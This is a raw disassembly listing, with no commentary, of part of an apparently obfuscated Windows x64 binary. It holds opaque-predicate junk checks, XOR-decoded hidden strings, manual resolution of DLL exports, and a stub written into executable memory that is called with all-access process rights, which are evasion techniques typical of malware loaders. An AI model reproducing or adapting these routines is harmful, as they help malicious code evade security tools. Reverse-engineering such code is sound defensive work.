mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x1e0be331
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002552c
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002552c
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002554c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
call fcn.14008f5c0
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.140031868
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x140025616
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400255f6
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400255f6
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025616
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
mov r8d, 0x1e0be331
cmp rax, rsi
jne 0x1400256d5
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400256b5
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400256b5
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400256d5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x14002578e
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002576e
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002576e
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002578e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x140025838
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025818
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025818
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025838
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x1400258f1
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400258d1
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400258d1
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400258f1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov qword [rbp + 0xe58], r14
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x1400259a2
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025982
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025982
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400259a2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x140025a5b
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025a3b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025a3b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025a5b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.140030e00
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x140025b2d
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025b0d
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025b0d
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025b2d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov edi, r14d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x140025e23
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x140025bf4
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x2e0a2f32
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x1e0be331
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025edb
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025edb
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140025edb
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.140020bec
mov r15d, eax
mov rcx, qword gs:[0x44]
movabs r8, 0xcd279c6c79f9294c
cmp rcx, rsi
jne 0x140025caa
mov rcx, qword gs:[0x21]
xor rcx, r8
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0x21]
xor rcx, r8
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0x21]
xor rcx, r8
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x140025efb
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x140025efb
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x140025efb
test r15d, r15d
jne 0x140025f5b
mov rax, qword gs:[0x44]
mov r15d, 0x4a79d2f6
cmp rax, rsi
jne 0x140025d4f
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x140025f1b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x140025f1b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x140025f1b
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x140025e03
mov rax, qword gs:[0x21]
xor rax, r8
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0x21]
xor rax, r8
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0x21]
xor rax, r8
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x140025f3b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x140025f3b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x140025f3b
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x140025b4b
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x14002fc57
mov rax, qword gs:[0x21]
movabs rcx, 0xcd279c6c79f9294c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025ebb
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025ebb
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fc57
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.140096588
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xf19bad9d
mov dword [rbp + 0x214], 0x8bd60447
mov dword [rbp + 0x218], 0x782710e6
mov word [rbp + 0x21c], 0xeb
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x11d01f4a5
movabs r9, 0xe79196c6e
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x1cf232d8dc
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x140025ffe
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x967ad852
mov dword [rbp + 0x84], 0x88ad2b3f
mov word [rbp + 0x88], 0xf6
mov r8, r14
movabs r9, 0xa051199d6
mov r10d, 9
movabs r11, 0x140a2333ac
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x14002609c
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140026325
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140026325
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140026325
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140026325
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140026325
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140026197
inc rax
test edi, edi
jne 0x140026182
test r8d, r8d
je 0x1400261a9
inc rdx
cmp rdx, rsi
jb 0x140026171
jmp 0x140026325
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140026325
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x140026322
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14008f5c0
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.140031868
lea rcx, [rbp + 0x7420]
call fcn.140030e00
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.140030e00
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140026237
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400b9040
mov dword [0x1401032a4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1401032a0]
movsd qword [rdi], xmm0
movzx eax, word [0x1401032a8]
mov word [rdi + 8], ax
mov al, byte [0x1401032aa]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400b96e0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1401032a4], r14d
test edi, edi
js 0x140026338
jmp 0x140026325
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14002634e
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.1400206b4
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x6875f121
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x44]
ja 0x14002f8c8
mov r15d, 0x2e0a2f32
cmp rax, rbx
jne 0x140026421
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x1e0be331
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026401
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026401
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026421
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400ea970]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [str.__zKZ_vM]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x39f76c0d
mov word [rbp + 0xbc4], 0x327e
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rbx, 0x11d01f4a5
movabs r9, 0x2a4e4a50a4
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x549c94a148
cmp r9, rax
jb 0x140026481
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140010ddc
mov rax, qword gs:[0x44]
mov ebx, 0x6875f121
mov esi, 0x4a79d2f6
cmp rax, rbx
jne 0x1400265af
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002658f
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002658f
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400265af
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140096588
int3
call fcn.140020914
mov rcx, qword gs:[0x44]
test al, al
jne 0x140026949
cmp rcx, rbx
jne 0x140026677
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x1e0be331
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026657
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026657
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026677
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400ea7c0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 0xe0
mov r10, r14
movabs r8, 0x12ed213f06
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x25da427e0c
movabs r15, 0x8080808080808081
movabs r13, 0x11d01f4a5
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x1400266c1
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400ea760]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400ea740]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov r9d, Ordinal_33
movabs r10, 0x22833ca01a
movabs r11, 0x4506794034
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xaf8]
xor dil, r8b
mov byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r12
add r9, 0x1f
cmp r10, r11
jb 0x140026762
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x44]
cmp rax, rbx
jne 0x14002689b
mov rax, qword gs:[0x21]
movabs rcx, 0xcd279c6c79f9294c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002687b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002687b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002689b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, rbx
jne 0x140030253
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026929
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026929
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030253
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
cmp rcx, rbx
jne 0x1400269ea
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400269ca
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400269ca
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400269ea
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400eaaa0]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x8080808080808081
movabs rbx, 0x11d01f4a5
movabs r9, 0x11d01f4a60
lea r10d, [rax + 0x10]
movabs r11, 0x23a03e94c0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x140026a31
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.140020704
mov rcx, qword gs:[0x44]
mov ebx, 0x6875f121
cmp rcx, rbx
jne 0x140026b60
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x1e0be331
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026b40
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026b40
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026b60
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140096588
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140026cf9
movdqa xmm0, xmmword [0x1400ea7c0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 0xe0
mov r10, r14
movabs rbx, 0x11d01f4a5
movabs r8, 0x12ed213f06
lea r11d, [rax + 0x11]
movabs r9, 0x25da427e0c
